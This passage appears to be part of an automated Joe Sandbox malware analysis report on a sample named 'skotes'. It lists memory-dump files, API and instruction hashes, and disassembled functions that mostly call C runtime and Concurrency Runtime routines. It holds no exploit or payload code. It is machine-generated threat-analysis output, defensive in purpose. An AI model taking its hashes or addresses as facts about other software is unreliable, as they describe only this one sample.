Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: a970ba5334b4edf2fa52164d84be45215110096ee0597773d3b0a96d2fb95eb5
Instruction ID: b9d66fdc3a8dc47016eeab725e69a91381d07f0af3d98ac92dc45df5e3b5cced
Opcode Fuzzy Hash: a970ba5334b4edf2fa52164d84be45215110096ee0597773d3b0a96d2fb95eb5
Instruction Fuzzy Hash: D701A261BC3B11B9DB303B757C1DEEE27898BA3B40F95151AF804E36C4EBA0C9018A71

Function 001B4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001B4C98
__alloca_probe_16.LIBCMT ref: 001B4D5E
__freea.LIBCMT ref: 001B4DCA

Part of subcall function 001AB04B: RtlAllocateHeap.NTDLL(00000000,5D7CF112,?,?,0018D3FC,5D7CF112,?,00187A8B,?,?,?,?,?,?,00177465,?), ref: 001AB07E

__freea.LIBCMT ref: 001B4DD3
__freea.LIBCMT ref: 001B4DF6

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: be88938cac7526485ce5719e922eae2869b4029877b0d3deafc9e03a32c672fc
Instruction ID: 7484f7efc259ab58de4b07da35760655df310c33980775e0c8848a6c86eac8a0
Opcode Fuzzy Hash: be88938cac7526485ce5719e922eae2869b4029877b0d3deafc9e03a32c672fc
Instruction Fuzzy Hash: 3851D372600216AFEB259FA4DC81FFB3BA9DFA1750F158229FD0497143EB30DC1086A0

Function 0019E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0019E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0019E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0019E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0019E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0019E9DC

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 2fc3ca5d43577166562ede57f2554be3779b44c8793939292003ce57dc5b0e4b
Instruction ID: 0a66be604b2013575049c88a3a20badffaac9702a591c1f466ca7ab28badeff8
Opcode Fuzzy Hash: 2fc3ca5d43577166562ede57f2554be3779b44c8793939292003ce57dc5b0e4b
Instruction Fuzzy Hash: C4415E35A00619EFCF09DF64C454AADBBB6FF88314F048159E906A7391CB74AE41CF81

Function 0019D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0019D344
ListArray.LIBCONCRT ref: 0019D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0019D370
ListArray.LIBCONCRT ref: 0019D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0019D3B3

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: f8c969af39aadae9adcb11620add3c9e024ac78c1026e0e10989ac2e827bbff7
Instruction ID: 545318a13eae9c1387bd404cb21dbc97379a555347de17af089b4ea4cedeb767
Opcode Fuzzy Hash: f8c969af39aadae9adcb11620add3c9e024ac78c1026e0e10989ac2e827bbff7
Instruction Fuzzy Hash: 55318C75700610AFCF09DB64D885BADBBA6BF88300F154199E8069B392DB74ED41CB92

Function 001986C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001986EE

Part of subcall function 0018EAD0: _SpinWait.LIBCONCRT ref: 0018EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00198702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00198734
List.LIBCMT ref: 001987B7
List.LIBCMT ref: 001987C6

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: ab754f8ff8b066dd8cfca98ac87eae5163bf86a18ed202b0e94e41dd3b5517e3
Instruction ID: 1e74f715e766424a574377c83da54633212d5b18e02e4ae3952621ab823136b5
Opcode Fuzzy Hash: ab754f8ff8b066dd8cfca98ac87eae5163bf86a18ed202b0e94e41dd3b5517e3
Instruction Fuzzy Hash: 3E316832901255DFCF18EFA8C5816EDB7B1BF26718F25006ED40177692CB31AA04CB94

Function 001A182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001A18EB

Strings

pContext, xrefs: 001A189C

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
